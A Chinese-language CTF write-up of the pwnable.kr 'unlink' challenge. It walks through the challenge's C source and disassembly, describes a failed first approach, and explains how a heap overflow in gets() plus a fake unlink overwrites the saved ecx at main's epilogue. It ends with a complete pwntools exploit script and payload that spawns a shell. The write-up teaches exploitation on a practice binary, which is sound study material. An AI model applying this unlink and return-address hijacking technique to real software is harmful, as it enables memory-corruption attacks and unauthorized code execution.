连接 ssh unlink@pwnable.kr -p2222 (pw: guest)
0x01 程序分析
它直接给出了源代码unlink.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
可以看出这段代码模仿了堆的一些实现,模拟的 Unlink 堆溢出漏洞。最后打印出A变量栈中地址和heap指向分配的mem地址,让你get shell.
main函数汇编代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
.text:0804852F ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804852F public main
.text:0804852F main proc near ; DATA XREF: _start+17↑o
.text:0804852F
.text:0804852F var_14 = dword ptr -14h
.text:0804852F var_10 = dword ptr -10h
.text:0804852F var_C = dword ptr -0Ch
.text:0804852F var_4 = dword ptr -4
.text:0804852F argc = dword ptr 8
.text:0804852F argv = dword ptr 0Ch
.text:0804852F envp = dword ptr 10h
.text:0804852F
.text:0804852F ; __unwind {
.text:0804852F lea ecx, [esp+4]
.text:08048533 and esp, 0FFFFFFF0h
.text:08048536 push dword ptr [ecx-4]
.text:08048539 push ebp
.text:0804853A mov ebp, esp
.text:0804853C push ecx
.text:0804853D sub esp, 14h
.text:08048540 sub esp, 0Ch
.text:08048543 push 400h ; size
.text:08048548 call _malloc
.text:0804854D add esp, 10h
.text:08048550 sub esp, 0Ch
.text:08048553 push 10h ; size
.text:08048555 call _malloc
.text:0804855A add esp, 10h
.text:0804855D mov [ebp+var_14], eax
.text:08048560 sub esp, 0Ch
.text:08048563 push 10h ; size
.text:08048565 call _malloc
.text:0804856A add esp, 10h
.text:0804856D mov [ebp+var_C], eax
.text:08048570 sub esp, 0Ch
.text:08048573 push 10h ; size
.text:08048575 call _malloc
.text:0804857A add esp, 10h
.text:0804857D mov [ebp+var_10], eax
.text:08048580 mov eax, [ebp+var_14]
.text:08048583 mov edx, [ebp+var_C]
.text:08048586 mov [eax], edx
.text:08048588 mov edx, [ebp+var_14]
.text:0804858B mov eax, [ebp+var_C]
.text:0804858E mov [eax+4], edx
.text:08048591 mov eax, [ebp+var_C]
.text:08048594 mov edx, [ebp+var_10]
.text:08048597 mov [eax], edx
.text:08048599 mov eax, [ebp+var_10]
.text:0804859C mov edx, [ebp+var_C]
.text:0804859F mov [eax+4], edx
.text:080485A2 sub esp, 8
.text:080485A5 lea eax, [ebp+var_14]
.text:080485A8 push eax
.text:080485A9 push offset format ; "here is stack address leak: %p\n"
.text:080485AE call _printf
.text:080485B3 add esp, 10h
.text:080485B6 mov eax, [ebp+var_14]
.text:080485B9 sub esp, 8
.text:080485BC push eax
.text:080485BD push offset aHereIsHeapAddr ; "here is heap address leak: %p\n"
.text:080485C2 call _printf
.text:080485C7 add esp, 10h
.text:080485CA sub esp, 0Ch
.text:080485CD push offset s ; "now that you have leaks, get shell!"
.text:080485D2 call _puts
.text:080485D7 add esp, 10h
.text:080485DA mov eax, [ebp+var_14]
.text:080485DD add eax, 8
.text:080485E0 sub esp, 0Ch
.text:080485E3 push eax ; s
.text:080485E4 call _gets
.text:080485E9 add esp, 10h
.text:080485EC sub esp, 0Ch
.text:080485EF push [ebp+var_C]
.text:080485F2 call unlink
.text:080485F7 add esp, 10h
.text:080485FA mov eax, 0
.text:080485FF mov ecx, [ebp-4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn
.text:08048606 ; } // starts at 804852F
.text:08048606 main endp
0x01 漏洞分析之折腾
明显程序在 gets(A->buf) 处有堆溢出,一开始我走偏了,狠狠折腾了一番。我的思路是他泄露了&A即栈地址,根据栈地址能算出ret时esp指向的栈顶地址,这个偏移是不会随着系统的aslr变化的。所以我找出了ret 时esp相对于&A的偏移 0x28 。知道了 ret 时的栈顶有什么用呢? 只要用gets伪造好数据,调用unlink函数的时候就可以替换地址,我要做的就是将 B堆空间的fd替换成ret-4地址,bk替换成shell函数地址,payload如下:
1
payload="a"*8+p32(0)+p32(0x19)+p32(ret-4)+p32(shell_addr)
这样unlink后
1
2
*(ret-4+4)=*(ret)=栈顶内容=shell_addr
*(shell_addr)=ret-4
这样当程序执行到main函数ret的时候,就能成功返回到我的shell地址,
我本以为这样就能成功拿shell,结果我忽略了一个问题。那就是*(shell_addr)=ret-4 这个地方已经破坏了shell函数的代码段 /(ㄒoㄒ)/ 失败告终。
0x02 再次分析
后来发现main函数结尾那里,
1
2
3
4
.text:080485FF mov ecx, [ebp-4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn
会将[ecx-4]写入esp,只要我们可控制 ecx内容就能控制返回地址。再看上面有mov ecx,[ebp-4] 这样一段代码,只有我们可以控制[ebp-4]的内容就能控制ecx内容。
经调试发现ebp-4=&A + 0x10 代码有两次取地址内容,根据泄露的A的heap地址 , heap地址下面(高处)即是gets()输入的内存空间,所以我们又构造 heap+12=shell_addr+4
这样我们就将(shell的地址 + 4)写入(ebp-4的内存中)也就是将 A+12 的值写入 &A + 0x10的内存中,返回时便控制了eip。
0x03 完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os='linux', log_level='debug')
p=process("./unlink")
shell_addr=0x80484eb
stack_addr=p.recvline()
stack_addr=stack_addr.split(": 0x")[1][:-1]
stack_addr=int(stack_addr,16)
heap_addr=p.recvline()
heap_addr=heap_addr.split(": 0x")[1][:-1]
heap_addr=int(heap_addr,16)
p.recvuntil("get shell!\n")
payload=p32(shell_addr)+"a"*12+p32(heap_addr+12)+p32(stack_addr+16)
p.sendline(payload)
p.interactive()